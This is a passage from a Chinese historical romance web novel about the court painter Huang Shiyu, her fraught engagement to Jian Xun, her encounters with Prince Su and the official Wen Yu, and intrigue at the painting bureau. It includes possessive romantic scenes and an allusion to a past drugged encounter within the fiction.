简珣观她神色恹恹,便放开了手,“梅娘,你是不是生病了,我让郎中给你瞧瞧。” 黄时雨的目光对上他的,又飞快地移开,她想把自己缩成一团。 “阿珣,我……想跟你说说话。” “嗯,好。” 黄时雨避开简珣清澈又诚挚的眼眸,扭着头假装去看引枕细腻柔和的汴绣针脚。 简珣笑道:“装什么深沉,你连针都拿不明白。” 黄时雨面色微微尴尬,干脆盯着自己的衣摆发呆。 “试炼时,我认识了一个漂亮姑娘,品性纯良,这是她送我的花笺。”黄时雨从袖管掏了会,摸出一支溢着女儿香的花笺,轻轻放在简珣暖暖的手心。 简珣的目光在花笺与梅娘的脸上逡巡,“所以呢?” “她叫沈璃,出身昙州望族,不过她的阿爹在家中排行老幺,无心仕途,如今也只得一个正五品的闲职,断不会在京为官。”她的声音越来越小。 简珣撩眼看她,“嗯,继续说。” “这位姑娘对你一见倾心,试炼那段时间想方设法打探你,连琥珀都瞧出她想做我‘堂嫂’,不论我怎么败坏你名声,她都不为所动,我发誓她真心的。”黄时雨面色如霜,东支西吾道,“不论家世、门第、样貌,她,她都比我适合,你现在反悔还来得及……” 简珣半眯着眼眸上下打量她一圈,沉吟道:“成啊,没想到你这么仗义。” 黄时雨下意识揣起手,于袖中死死攥紧。 “这么好一姑娘,说的我心动不已,怎么不早点告诉我,非得与我定了亲再说,你是不是故意的?”简珣眼里有笑意,笑意凉凉的。 “不,不是故意的……”黄时雨一颗心七上八下。 简珣的声音没什么起伏,“你才几颗心眼儿,在我这里卖弄,胆敢拿我的婚姻大事充作儿戏!什么是定亲,你想定就定,不想了塞我个姑娘顶上?我们简家是欠你还是该你了,婚期仅剩不到五个月,你还想作妖?” 黄时雨受他训斥,眼眶又酸又胀,脸越垂越低。 简珣捧起她的小脸,强迫她直视自己,“梅娘,我要是娶公主,以后就再也不能抱你了,也不能对你好。你还记不记得史书有位驸马经常被公主鞭刑,遍体鳞伤,换成我的话,你不心疼么?” 黄时雨啜泣道:“你,你可以娶沈璃,她比我好……” 简珣亲了亲她委屈的小嘴巴,“你知道什么是娶,娶了她,以后我便只能像这样亲她。” 他边说边给她演示,噙住她饱满的樱唇,“像这样,嗯,再这样。梅娘喜欢被我这样,喜欢我亲这里,还有这里,对不对?哪怕因为害羞而哭泣,身体也不讨厌我的……” 黄时雨求他不要再说。 简珣却开始吻她的泪珠儿,“娶了她,以后她受了委屈我便这样哄她,而你哭了,我理也不理你的,再也不疼你。” 他温柔地搂她在怀中,拍了拍,“从定亲那一刻开始,天地为证,高堂为证,咱俩便得遵守契约,谁也不能反悔。假使人人都似你这般,岂不是天下大乱!你敢骗我,我就去官府告你,负心薄幸,诱骗好人家郎君……” 黄时雨被他堵噎的一句整话也说不出,“不,不是这样……” 简珣亲了亲她下巴,道:“便是天塌了,你也得跟我成亲。” “阿珣,你会后悔的。” “便是后悔,也得先娶了再说。” “我,我不是个好姑娘了……” “你一直都不是,你是天下最坏的。” “假若我做了让你生气的事,却是无心的,你会不会打我?” “不打,我永远都舍不得打梅娘。” 然后再不给她说话的机会。 他一手托着她后脑勺,一手握住她的腰肢,任由她捶打自己肩膀,只用力地品尝她双唇,舌尖刺进她口中深深攫取其中每一寸甜蜜,一旦她反抗便无法呼吸,想要呼吸就只能任他恣意掠夺。 简允璋甚少对她发火动真格,这次“狠狠”教训了她。 下车前,他一边为她整理衣襟一边道:“人无信不立,今儿我便当你没说过这种蠢话。梅娘,婚事不是两个人的事,是两个家族的事,一旦缔结,结的就是两姓之好,你这样一定会伤透我阿娘的心。她从不轻易妥协,却第一眼就接受了你,只要我爱重你,她便接受你的一切,你这般轻待盟约,对得起她么?” 梅娘被他说狠了,只扭过头揉眼睛。 简珣捏着她的小下巴,轻轻提起,温柔又坚定地直视她躲闪的眼眸,直到她乖顺下来,才将她送回了家。 梅娘不会无缘无故挑战他底线,也并非不懂事的女孩。 退亲不是动动嘴皮子的事,关乎着两个家族的脸面。她却有了这种想法,除了确实被他惯坏,更多可能是不安于室。 回到府中,简珣平静的脸色旋即冷若冰霜,对温良道:“你让人盯着她些儿。” “是,少爷。”温良回。 女画员在廨所的活动范围有限,即便梅娘有机会接触一些年轻有为的画师,也绝对没法独处。 不过事无绝对,万一瞧对眼了,眉来眼去也不是没可能。 简珣相信黄时雨本性纯良,但纯良的人可不一定不会受诱惑。他自己对她用手段可以,想到旁人也这样,立时怒不可遏。 虽说简府如今式微,不过找一个人脉盯着黄时雨的大致动向还是绰绰有余。 眼线盯了三日,简珣赫然发现黄时雨莫说年轻的男画师,便是年老的也接触不到几个。 烧开了醋海的一颗心方才归于平静。 寒食节社祭顺利举行,据说还出现了吉兆,龙心大悦。 画署原本有半日节气假,却被司天台零时加了活,要求画员前往司天台整理四年来所有的神像画册,并打包带回画署分门别类收藏。 司天台好大的威风,自己的分内之事也敢使唤画署的人,闻大人冷笑两声,摔碎一瓯茶。 蓝素慌忙往后退了两步,不动声色躲在姜意凝身后,黄时雨错愕地抬眼看了看满地碎瓷,默然找来簸箕,蹲身捡拾,仔仔细细清理干净。 蓝素这才走过去,重新为闻大人倒了茶。 闻大人喝了茶心情渐渐平复,“这起子狗东西,打不着老虎便要在猫儿身上撒气,使唤你们下我的脸呢。” 她传了严艺学,说道:“你亲自跑趟司天台,就这么回他们,我这里还有太后娘娘的大差事要办,不过保章正大人威名赫赫,咱们便是再大的差事也得挤出人手辅佐一二。司天台的人把画册整理好,画署自然也有人为他们指路,保管将东西安置在该安置的位置,到时大家一起签字盖戳儿。” 司天台的人碰了个不软不硬的钉子,自从闻大人上任,画署再没有从前好拿捏。 保章正(官职名)哼笑一声,心想一个女人不在家里生孩子,跑来做女官,尽给男人添乱。 不过一介女流的闻大人背后有个小闻大人,姑侄二人把持着画署与画阁,是皇帝的私人敛财袋子,尤其小闻大人还有一个身份——骁影卫左统领,见过血的人,如非必要,没有人想与他正面对上。 保章正暗暗咽下这口气。 这日黄时雨不出意外地留下应候司天台当差的,她主要充当严艺学的小文书,打打下手,诸如登记造册一类。 为了方便画署女画员,司天台派来的两名司辰亦是女子,两边人马在藏画楼一待便是接近三炷香,逐一登记核实,谁也不敢马虎,都是要签字按手印的。 半日节气假就这么不知不觉磨没了,明天还得继续干,下衙前严艺学送了黄时雨一串小点心权当安慰。 末了又将自己精心养护的水仙分了她一小盆。 黄时雨欠身行谢礼,抱着严艺学赏的花儿回家。 这是个爱花的姑娘,且已经有了养水仙的经验,只可惜来时匆忙,未能将甜水铺子的水仙带回京师。 韩意淮安静地望着一无所觉的姑娘从身边经过。 肃王的马车从外面看朴实无华,窗子蒙了一层月影横纱,外面的人瞧不见里面,里面的他一览无余外面的世界。 最近,他时不时过来,目送她下衙。 那个不为人知的夜晚,似乎只有他一个人记得,梅娘不记得也好。 对女孩子来说,又不是什么美好的事。 说不定在他看不见的地方,梅娘常常哭泣。 只要她不哭,忘就忘了吧。 “走吧。”韩意淮淡声吩咐车夫。 车夫应一声,扬鞭策马调转了方向,往宫城而去。 与司天台的交接初二一个上午也未完成,倒不是黄时雨干活不麻利,而是司天台的人久不做整理,差事办的频频出错,错了便要回去重新核对,浪费了不少功夫。 蓝素锤了锤坐麻的腿,不耐烦站起身,想着去趟官房喘口气,步子迈得急,又存了三分火气,不意撞上了正弯腰核对画册的黄时雨,自己腰间的香袋勾了黄时雨的玉簪,当下玉簪就被摔成了两截。 官员当值时很少戴乌纱帽,除非觐见上官才会整理衣冠。 没戴乌纱帽的黄时雨玉簪断,一头如瀑长发披散而下,蓝素失神看了她须臾,自知理亏便道:“你记下账,回头赔你便是。” 黄时雨点点头,自不会客套,因为玉簪挺贵的,但手里的差事不能停,她从笔筒挑了只长短适中的毛笔,纤细手腕旋动,三两下便将满头青丝挽于脑后,司天台两名司辰两眼发直。 随便用毛笔挽发都这么好看。 未时,直到所有画册交接完毕,严艺学放心离去,也不见蓝素归来。 黄时雨望着藏画楼丈许高的梁顶,发现了许多彩绘,就绘在梁上,由上而下,盘桓巨大的红木柱子,她不由好奇,仰着脸一路追过去。 阳光从六角棱纹的窗格投进来,她穿梭明亮与阴影,光线与尘埃追着她的衣袂轻扬,如此绝世的光与影,便是倾城妙笔也难描一二。 闻遇停在廊下,目光穿过大敞的隔扇,落在和光同尘的女孩身上。 黄时雨有些错愕,以为自己不小心踏进了男画员的领地。 对面的陌生人有一张观音般慈悲美貌的容颜,却长了一双冰冷的眼。 第64章 好痛 陌生男子未着官袍,显然不是画署上官,却穿着广湘的玄色茧绸道袍,附缀繁复金线刺绣,腰配弯月匕首,规制皆为正三品以上。 黄时雨暗惊,欠身施了一礼。 那人却走了过来,立在她徘徊欣赏许久的硕大圆柱下。 黄时雨诧异地抬眼看他。 纯净的眼眸倒映着同样清澈的他。 闻遇盯着彩绘看了片刻,偏头看向她,“你可知藏画楼一共多少根圆柱?” 音色干净又有着青年独有的低醇。 此时的黄时雨做梦也不会将他与青面獠牙的石上居阁主串联。 上官有所问,下官不可不答,黄时雨垂眸盯着自己脚下恭敬道:“回大人,卑职将将数过,一共八十一根。” 闻遇颔首,“它们花费数十位画师近六年光阴,损耗不计其数群青、青绿。” 黄时雨茫然地点点头,他为何要对她说这个? 闻遇垂眸打量她,指了指那只纤白的右手道:“你做的很好,以丝帕罩手抚摸它们。” 人们很容易为高敞宏丽,摩天连云的藏画楼所摄,似她这样自心底珍惜爱护的寥寥无几。 得了上官表扬,黄时雨眼眸晶润亮起。 闻遇轻笑一声,收回视线,从黄时雨身前经过。 他的眼睛是冷的,气息却是暖的,一种介于檀木与雪松之间的味道,非常淡,不太像熏香,更像是画师独有的,常年浸染在上层阶级画室的大画师。肃王也有类似的木质香韵,由此可见,这位大人与肃王是同类,黄时雨不敢怠慢,益发垂眸敛祍。 等了半晌,实在忍不住又偷偷抬眸,闻遇也转眸看过来,黄时雨一惊,又慌忙低头。 她不懂上官为何还不走,又不敢贸贸然离开,正要张嘴寻个借口开溜之际,一名绿袍同僚走了过来,将包裹递给上官,道:“大人,您要的湘色圆领袍,内务房已经没有最小尺寸,这件比大人要求的稍稍长了一寸。” 闻遇“嗯”了一声,那人便欠身退下。 “赏你的。”闻遇将崭新的圆领袍丢给尚不知发生何事的小姑娘。 黄时雨本能地接了一句:“谢谢大人赏赐……” 闻遇边走边道:“快去换了。” 直到他的背影消失在眼底,黄时雨也没解过来什么意思。 赏姑娘家官服又叮嘱人快去换了,不仅奇怪多少也有些冒昧。 可她小腹传来微许疼痛,腰也酸酸的,忽然就意识到了什么。 一刻钟后黄时雨躲在女画员专用的官房,恨不能将自己一根绳子吊死,免得丢人现眼。 木桶也叫官房,久而久之,时人便将提供人们解决内急的屋子称为官房。此时的黄时雨在官房处理不期而至的月事,想到自己穿着染了一团血迹的圆领袍无知无觉行走,全落进了上官眼底,既羞又愧。 严艺学与司天台的司辰始终在她正前方且有一定的距离,未曾察觉她衣袍污迹尚且可以理解,然而蓝素不可能没发现,却未提醒她…… 黄时雨蜷了蜷指尖,将沾染污迹的官服包裹好,整理衣冠重新回到廨所。 女子做官比之男子有着天然的劣势,每逢月事还要正常上衙,风雨无阻,所以在月事前一段日子就要自行备好月事带,黄时雨年纪不大,月事没那么准,且无经验今日才闹了笑话。 闻道芝闻大人同为女子,非常体谅黄时雨的难处,叮嘱了她几句,务必谨记教训,便特特恩准她提前两个时辰下衙。 黄时雨感激不尽,欠身谢过闻大人。 闻大人笑了笑,“快回去吧,下不为例,下回摘几朵新开的茶花给我。” 黄时雨面若红霞,声若蚊吟道:“是,大人。” 好在她是个擅长自我安慰的姑娘,心道那位大人又不是画署同僚,彼此也都不认识,即便他回去笑话自己又如何,反正她听不见。 闻遇离开藏画楼一路向北,往宫城方向走去。 随行下属对上官的性格明如指掌,小闻大人向来公私分明,从不动画署与画阁的女人,是以并未打听黄时雨的来路,不过从黄时雨的湘色圆领袍不难猜出,不是司天台的司辰便是画员,唯有这两处官衙才有如此年轻的女官,总之是不入流的从九品小芝麻。 闻遇忽然问:“方才的小姑娘是司天台还是画署?” 随行一怔,迅速描补道:“容卑职查一下,晚上必定给大人回复。” 闻遇道:“算了,正事要紧。” 随行便不敢再揣摩他心意,抹了把虚汗道声“是”,却也开始在心里反省,这件事做得不漂亮,等上官问他才去查,置上官颜面于何地。 是他反应不够机敏。 今年国子监的骑射大考安排在小雪节气假前两日,便借了城东营的校场两日。 每年的顺序都是国子学、太学、四门学依次排开,故而四门学万年不变最后一日上场。 四门学的学子数量相较其他两处多出两倍,水平也参差不齐,大部分人勉强混个丙等万事大吉,乙等则算烧了高香。 倒也不是他们怠惰,而是并无多余精力和财力培养骑射水平。 除非投身军伍,普通人压根接触不到马匹弓箭。 也正因此,普通人依靠国子监有限的资源混个丙或者乙在老师眼中足以结业。 乌衣子弟不一定精通骑射,然而精通者定然是乌衣子弟。 擅长丹青与骑射的肃王但凡有空都会来东西二营,赶巧今日遇上四门学大考。 韩意淮驭马上前,默看片刻便下马走了过去。 众师生只见一群护卫簇拥着个身姿挺秀的美少年阔步而来,犹若玉山上行,光映照人。 在场识得肃王殿下的不多,但都认识衮龙袍,这么年轻的亲王除了排行十二的肃王不做他想。 于是众人纷纷见礼。 韩意淮抬起右手,亲卫立即上前为他佩戴扳指,并呈上他惯用的良弓。 珵郡王笑道:“已是多日不曾见十二舅箭术,今日托这帮学子的福,让我等开开眼。” 早过而立之年的珵郡王称一个与他长子年纪相仿的少年郎为“舅”,看起来怪怪的,然而这种怪象在宗室见怪不怪,所谓摇篮里的爷爷拄拐的孙孙便是这么个道理,谁让肃王辈分大。 韩意淮瞥向简珣,“允璋的箭术依然出类拔萃。” 简珣将将结束大考,箭靶上还插着他射出的一根根羽箭,把把命中靶心区域。 只要能命中这片区域便为优。 而无限趋近于中心则是武将的追求。 作为一名读书人,简珣的箭术已然相当优秀。 确实当得起肃王这句夸赞。 简珣泰然道:“不敢承接殿下谬赞。” 肃王箭术远胜于他,如此夸赞全然听不出一丝诚意。 韩意淮笑而不语,抽出一根羽箭瞄准靶心,飞射而出,将简珣的羽箭纵向劈成两截又无限趋近于靶心,众侍卫一阵叫好。 简珣抿笑,面上并无任何难堪。 韩意淮半眯着眼眸又射出一道,继续劈断简珣的羽箭。 四门学的师生面色微微变化,闹不懂殿下何意,但能感觉到并非善意。 肃王慢悠悠搭上第十一根羽箭,却没有第十一个箭靶,他笑着看向全程面不改色的简珣,手中的箭矢也对准了简珣胸口心脏的位置。 众师生倒吸冷气,尤其立在最前排的博士。 珵郡王悍然色变,疾步上前提醒:“十二舅,这些都是国子监的学子,迂腐得很,莫要同他们顽笑。” “谁说我在顽笑。”韩意淮嘴角绷紧,弦若满月,施施然从简珣的心口移向了他眉心。 胆子小的学子两腿一软跪在地上。 而肃王也在等简珣的丑态。 被人以箭瞄准心脏,又瞄准眉心,是个人都不可能不为所动。但惊慌失措并不能解决问题,简珣眸色深凝,瞬也不瞬直面阴晴不定的肃王。 韩意淮撩眼道:“允璋,你还不躲?” 简珣道:“肉身速度怎比得过殿下手中利箭。” 话音未落,肃王的利箭已挟腾腾杀意呼啸飞来。 在场哗然,整个过程近乎突发,正常人尚处于呆滞阶段。 箭矢擦着简珣右耳廓飞驰,狠狠钉进百步外合抱粗的树干三寸。 少顷,简珣洁白如玉的皮肤裂开一道血线,冒出一颗颗血珠。 四门学博士两眼一翻,当场晕死。 众师生哀嚎,现场乱成了一锅粥。 回过神的珵郡王哀嚎不迭,扑过去抱住肃王,“十二舅,咱冷静冷静,有什么话好好说……” 虽然不懂二人有何恩怨,但铁定恩怨不小,正是血气方刚的混小子年纪,什么事都做得出。 韩意淮啧了一声,“算你有种。” 简珣知道自己的耳朵挂了彩,暗暗攥紧手心。 这场闹剧以肃王罚俸一年,被皇帝狠狠骂了一顿收场。 至于珵郡王,罚俸两年,并被皇帝骂了个狗血淋头,别问为何,谁让他劝阻不力。 话分两头,黄时雨一回到家中,汤婆子红糖水齐上阵,很快就没那么难受。 上衙不比在家,没有琥珀从旁照顾,她得此教训,再不敢马虎。 不管多么大官儿,只要踏进皇城便孑然一身,守城侍卫只认玉符不认人,谁有玉符放谁行,因而家仆家婢一步也别想靠近。 官大一些的进了官衙尚有下属端茶送水,但也不可能如同在家群仆环绕,官阶普通的一切自理。 琥珀一面为黄时雨揉手腕一面道:“大小姐精通术算,受到了西市的市舶使赏识,今日又被请去码头帮忙,没想到你比她还先到家呢。” 黄莺枝自来闲不住,自从进京得了空便去西市闲逛,倒给她逛出了些明堂。 难得姐姐有喜欢的事情忙,黄时雨打心眼里为她高兴,由己度人,太了解那种充实又有目标的感觉,所以不管姐姐想做什么,她都无条件支持。 日落前,黄莺枝精神抖擞回到家中,带了不少好东西,包括西洋布和番麦(注,玉米),其中的西洋布薄如蝉纱,洁比雪艳,极其适合夏季裁衣,价格却比罗便宜,很是新奇。 番麦倒不陌生,简珣送了不少,吃法多样,磨成粉面做糕点馒头有股特别的清香,家里的灶台娘子还用它蒸窝窝头,一大家子都喜欢。 次日小雪,恰逢黄时雨旬假,果真如简珣所言,妆盛阁的女老板携奴唤婢,在一众家丁护送下来到了保宁坊。 家丁出身卉原镖局,各个身手不凡,以一敌十不在话下,他们的职责不是保护主家,而是护送主家珠宝。 在京师这片地界,不会有人惦记主家的命,但人为财死鸟为食亡,难保没有胆大的惦记主家一箱珠宝,至少能买一个保宁坊。 做珠宝行的,少不得上门伺候贵客,无疑也就离不开镖局。 当然,能得郑老板亲自上门的贵客,出手亦会对得起此份隆重,即便日日上门都只赚不亏。 到了贵客门前,这群彪形大汉立即散开,森严有序当值,而女老板则带着仆婢笑吟吟入内。 二进的小院不大,入目极为雅致,墙角摆了不少时令鲜花,错落有致,院子当中一株袅袅婷婷的玉兰树。 雅致归雅致,但绝非有钱门户。 不过贵客有没有银钱并不打紧,重要的是她未婚夫有钱。 郑老板带了最新的图册并部分实物供贵客挑选,当然也可以量身定制。 不到一盏茶功夫,放节气假的简珣如约而至。 黄时雨趁着姐姐与郑老板讨论花样的功夫,悄然退场,半路拦截简珣,拉至小偏厅 她严肃地慢慢地说:“京师的妆盛阁比泽禾还离谱,随便一样足金点缀宝石便百两起步。” 百两是什么概念,等同一座宅院。 而新娘头饰必然得成套,瞬间就得十座宅院。 头顶十座宅院,已经严重超出黄时雨的认知。 简珣好看的眉梢扬起,噙笑,“贵是贵了些,却很保值,将来留给女儿或者儿媳。” 黄时雨只抓住了“保值”二字,心头稍稍放松些许,目光忽然顿在他右边耳廓,“你怎么受伤了?” 半寸长的伤痕,虽涂了药,仍有微许红肿,极其新鲜。 简珣轻描淡写道:“不小心擦伤,已无大碍。” 怎会没有大碍,耳廓全是软骨,肯定特别疼,她踮起脚,“你低些,我瞧瞧。” “你又不是郎中,能瞧出什么花。”简珣配合地弯身,话头一转,蹙眉道,“都怨你提醒了我,现在忽然觉得好痛呀。” 黄时雨急忙道:“我让福喜过来帮你再涂一层药。” 却被简珣一把拉进屏风后。 “不用那么麻烦,你亲亲我,就不痛了。”他啄了啄她天然微翘的唇峰。 “我觉得你好像不是真的痛……” “是真痛。”简珣认真道,“这么长一道伤口,你想象一下。” 黄时雨随之想象,心就软了下来。 简珣便笑着将她抱起。 一盏茶后,黄时雨晕晕乎乎走出屏风。 第65章 笨蛋 时下女子被退亲,倘若受爹娘疼宠又家境殷实,那么爹娘养她一辈子也不是不可能,亦或等风头过去再挑个低门第出嫁。 可若是因失贞被退,那属于严重失德,不止累及家族姐妹蒙羞,连带她们未来亲事亦都别想好了,单凭这点黄太太定与黄时雨不死不休。 此外失贞也触犯了律法。本朝在这方面极其严苛,甚至写进《户婚律》,失贞女子不仅要面临牢狱之灾,为官者还得立即遭贬,永不录用。 黄时雨想要退亲,唯有同时满足四点情况方能全身而退:其一简夫人首肯;其二简珣也首肯;其三有一个符合条件的姑娘替代;其四她的亲爹继母甘愿吐出一万两白银聘礼。 除了第三点,其余皆为一枕黄粱。 当然,黄时雨还可以跪地磕头哀求简珣只退亲但不说出实情,那便相当于让他独自承担退亲后果,面对家族责难,且不说他疯了才会答应,即便答应也做不了主。 好在他还有休妻的权利。 没有家世背景的姑娘,将来去留全凭他一句话。 而简允璋绝非赶尽杀绝之人,或许会厌恶憎恨,却不至于以失贞之名弃她,多半是随便安个别的名头。 如此就能保住画员一职。 君子欺之以方,看来又得“欺负”他了。 黄时雨迈出小偏厅,自嘲一笑。 将来不论休弃或和离,她都不会有任何怨言,也做好随时离开的准备,同时留下嫁妆。 权当补偿他了。 蚊子再小也是肉。 简珣快走两步追上梅娘。 伤口委实有点疼,便借题发挥“欺负”她,还好她没生气。 其实梅娘一直都是个温柔的姑娘,自从定了亲就很少拒绝他,哪怕对他没什么男女之情也乖巧顺从。 他心里一直都清楚,只要对她好,给她画道自由,换成张珣李珣她也会顺从。 然而除了简珣,没人能做到,所以他就是不可替代的,没必要难过。 “简解元,黄画员。”郑老板眉眼一亮,忙不迭迎上去行个福礼。 黄时雨让了上首给简珣坐,自己坐在他左边,妆盛阁的仆婢井然有序站成一排,各自端着一黄花梨木的托盘,依序呈上请贵客赏鉴。 郑老板巧舌如簧,各种吉祥话不要钱似的往外抖,每款首饰都离不开琴瑟和鸣与儿孙满堂。 黄时雨是画师,有着与生俱来的鉴美天赋,并且远胜常人,可也深知越好看的价格也越离谱,因此她对每样首饰的目光极为克制,就连简珣一时也摸不准她到底心仪哪款。 当郑老板拿出压箱底金镶玉宝蝶象牙梳,简珣眼底微明。 这款象牙梳不仅镶了一颗鸽卵大小的红宝石,还有非常好的寓意,郑老板笑道:“我们仅做了三只,因为南北分店仅能凑出三颗最上乘的宝石,并请济恩寺大师开过光,凡是戴过此物的新妇定能与夫君长相守,白头偕老。” 宝石成色确实不错,然说最上乘略显夸张,不过简珣喜欢它的寓意,当即点点头,郑老板狂喜,忙命人记账。 黄时雨勉强选了一套价格相对不那么夸张的,总算应付过去。简珣却自作主张又添了两套,不过他眼光竟还不错,这点颇令黄时雨诧异。 上门服侍一趟贵客等同开张一年,郑老板忙前忙后,举凡简珣点一下头,她仿佛就听见了一箱银子晃来晃去的脆响。 最后敲定了三套头面,一只象牙宝梳,并金钗玉簪步摇若干,加起来不知能买多少宅院,黄时雨心生惶恐。 简珣早有所料,留下两名功夫不错的护院并曹妈妈。 护院等同是给一院子女子吃个定心丸,而曹妈妈本就是程氏安排的教引嬷嬷,比黄太太靠谱一万倍,留给黄时雨只有好处没有坏处。 不过简珣还是将她拉进马车单独叮嘱,“婚期临近,将来不管黄太太如何教你,你莫要听她的,曹妈妈教你的,你听听便好,不必全部当真,但是《秘戏图》一定得看。” “《秘戏图》是什么?”黄时雨问。 简珣噎了噎,移开视线,轻声道:“教你知事的画本,不必害羞,男女之事本就是自然而生之念,如同饮水进食一般,了解了你就不会怕我,不管我对你做什么,都是正常的。” 黄时雨嫣红的唇色蓦地有些发白。 简珣以为自己过于直白,以至姑娘家无法接受,忙拉着她的手,柔声安慰道:“梅娘,别害怕。夫妻之间本就如此生活,你会慢慢喜欢的,我保证不弄伤你。” 直接保证不碰她,她肯定高兴。 但简珣还没有那么伟大,也没有哪个男子会在这种事上委屈自己。 “嗯。”黄时雨用力抿了抿唇。 对于婚期,正常姑娘家都是既羞怯又期待,而黄时雨惶惶不可终日,宛若等着刑期似的煎熬。 不过伸头一刀缩头也是一刀,说不定还会因为缩头砍偏再多来一刀,黄时雨便安慰自己抻起脖子。 就寝时分,想着简珣的叮嘱,她翻过身蜷在被窝哄自己不要害怕,方才慢慢睡着。 这姑娘从小到大受过不少委屈,极擅长自己哄自己,于是在旁人眼中她一直都是个简单又没坏情绪的乖小孩。 如今遇到了失贞这样的大祸,她不说,周围竟也无人察觉。 黄莺枝完全沉浸在替妹妹幸福的情绪中。 无论从哪点来看,简允璋都像话本子中虚构的神仙郎君,与梅娘天造地设。 且说受到皇帝痛批并罚俸一年的肃王,终于发现了丐婆的行踪。 只要是人就离不开吃喝二字,再加上受了箭伤,定然需要大量止血消肿草药,肃王不信她能一直蹲在荒山野林,便特特加派人手,重点盯着城郊小客栈小药馆,又以抓捕行刺肃王刺客为由,调用东营兵力,连夜严防死守所有关卡,丐婆属实插翅难飞,被困在了京师。 平心而论,丐婆此举,令肃王狠狠享受了一番欢愉,可是他有多畅快,梅娘就有多难过,除了身不由己时接纳他的侵占,药性一过便不愿配合,害得他进行到一半进不得退不了,咬牙草草结束。 发生这种事,姑娘哪里还肯面对他,每多面对一次,就提醒了她被他如何对待过,这样的欢愉不要也罢。 肃王只想杀了罪魁祸首,哄梅娘展颜。 侍卫来报:“城郊破庙发现刺客踪迹。” 肃王当即率众杀过去,未料又扑个空。 不过此番也不是全无收获,据在场侍卫回禀:“回殿下,刺客箭伤未愈又添新伤,方才还被杨大人踢断了右臂,跑不远。” 韩意淮精神大振,又加派人手,只将城郊的两座山头围堵个水泄不通。 其实他大可以放把火,把人活活烧死完事,因为这两座山尚且无主,却也正因无主,附近几十里内的百姓冬日即靠这里的免费木材过活,一旦烧光就得另想法子度日。 肃王只是不食人间烟火,但不是不识民间疾苦,反倒自小在文华殿念书,受良师名臣教导,懂得或许比普通人还多,是以,他捺下心头恶气,并未采用侍卫烧山提议。 “有种就躲在山里一辈子,端看谁耗得起。”他恨恨道了一句,又警告众侍卫,“胆敢再让她跑了,本王就砍下你们脑袋喂狗!” 初四正常上衙,黄时雨的新官服已经被琥珀稍作修改,如今长度合适。 趁着天色尚早,她在廨所的小院子剪山茶花,将茎叶仔仔细细处理过才放进花瓶,置于闻大人的书案上。 严艺学是陆宴的画迷,没有公务的日子时常命画员临摹他的画作提高技艺,其他艺学也都有自己钟爱的画师,所以黄时雨短短时日就见识到不少真迹,眼睛饱受养护。 今日要临摹的又是陆宴。 黄时雨并未因个人情绪而抵制他的丹青,安安静静地调墨。 姜意凝挤眉弄眼道:“按说你也算陆宴门生,可惜他充任今年主考官也未曾露面,你这门生当的真憋屈,连恩师的面都见不到。” 画考与科举差不多,抬举哪个就是哪个的恩师。 陆宴,无疑就是黄时雨恩师。 黄时雨莞尔,只道:“大画师抬举,做门生的早已知足,见面反而扰了恩师清修。” 蓝素暗笑,还怪会给自己找补,怕是你想扰也扰不到吧。 “黄画员,你可得好好记着陆宴先生的恩情,要不是他,今年画魁可就难说了。”蓝素道。 考上画魁又怎样,还不是没入石上居小闻大人的眼,他收谁为徒,谁才是真正的无冕之王。 闻遇收了今年的第二名为弟子,这是黄时雨无法言明的难堪。蓝素这样说,属实扎心,姜意凝没好气道:“人家对自己恩师的恩情不用你提醒。没有大画师主考官就没有画魁,哪个画魁不靠大画师,没有陆宴自会有其他人抬举黄画员,萝卜青菜各有所爱,她只是不得小闻大人青睐,又不是没有实力。” 姜意凝通身大小姐脾气,想怼谁就怼谁,便是黄时雨也不是没挨过,如今怼蓝素自毫不手软。 蓝素面颊一红,心里气个仰倒,嘴上小声犟道:“我不过是好心提醒她一句,你过度解读了。” 声音极小,姜意凝没听见,而蓝素也不敢大声分说。 黄时雨感激的目光投向姜意凝,姜意凝哼了声,扭过头没理她。 严艺学敲敲隔扇的门,问屋内三个姑娘:“画阁要调两个人。” 蓝素猛然抬眸,瞬间忘了方才不快,一把挽住姜意凝胳膊,“熟能生巧,这回便还是我与姜画员一起吧,黄画员从未去过画阁,反倒耽误工夫。” 严艺学道:“也好,你俩随我来。” 说罢转身,步履匆匆,姑娘们也不敢耽搁,立刻追上去。 黄时雨便往座椅上一歪,一个人倒也自在。 她甚少偷懒,可是月事令她疲倦困乏,外加昨夜没睡好,雪上加霜,此时偌大的屋子只剩她,闻大人则进了宫,想到这层,她趴在临摹一半的熟绢上打瞌睡,却又不敢认真酣睡,朦胧中听见一个声音:“当值的画员大人临摹我的画便打瞌睡,怪伤人的。” 吓得黄时雨猛一激灵,腾地站起,愣愣瞅着对面的韩意淮三个弹指,才反应到他是谁。 “殿下安。”她弯腰施礼,不动声色往门口挪去几步。 韩意淮对她的小动作了若指掌,却未抬眼看她,淡声道:“我也不至于在画署对你做什么,这里没有门栓,随时都有人经过。” 黄时雨两靥火辣辣的。 “你跟简珣怎么说,要不要我帮忙?”韩意淮大马金刀地坐到了她方才休息的官帽椅。 黄时雨抬起头来,定定望着他,“我的事,不用你管。” 韩意淮似笑非笑,“我也不是非要管,反正我又没吃亏,倒是你,放着王妃不做偏要自寻死路,是不是傻?” “允璋他……他不会逼我去死的。”黄时雨信任简珣。 韩意淮望着她眼底一闪而过的恐惧,轻轻道:“他就那么好吗?” 黄时雨不知该如何回答,嘴唇动了动。 “嫁给我明明就能规避一堆麻烦。” “殿下,我要是退亲必定声名狼藉,您不可能娶声名狼藉的女子,这不是您愿不愿意的问题。”黄时雨并不傻,宗室成亲即便不强求门第也不可能不讲究名声。 肃王头上还有陆太后,皇帝,怎可能任由他胡来。 韩意淮望着立在门口光尘里的女孩,心有些柔软,“嗯,确实很麻烦,但那是我麻烦又不是你,你只需等着我娶你就好。” 黄时雨笑了笑,“多谢殿下抬爱,但您一意孤行的偏爱只会令太后娘娘对我深恶痛绝,将来即便与我勉强成婚,我也不会有好下场。而且我也不想嫁给您。” 更多的话她没有说。 退亲的她给他做个侧妃都勉强,岂不是毁了她的画道。 韩意淮就沉默了,第一次感到了无力。 他垂眸喃喃道:“梅娘,那我一辈子不娶妻,就守着你还不行吗?” 黄时雨不知道一辈子要多长,但是莫名觉得十几岁的他与她不会有那么多长的时光。 况且她也不想要太复杂的人生,沾染了宗室就不可能简单。 嫁给简允璋或许很苦,但应该不会苦太久,被休或者和离后日子约莫就跟现在差不多,每日正常上衙下衙,再卖卖画,倒也能维持一家生计。 但是做亲王的女人,就再也没有自由。 宗室没有和离,想要离开亲王,要么自己死了要么亲王死了,亦或者亲王主动休弃。 她怎会用自己的画道来赌一个男人的真心。 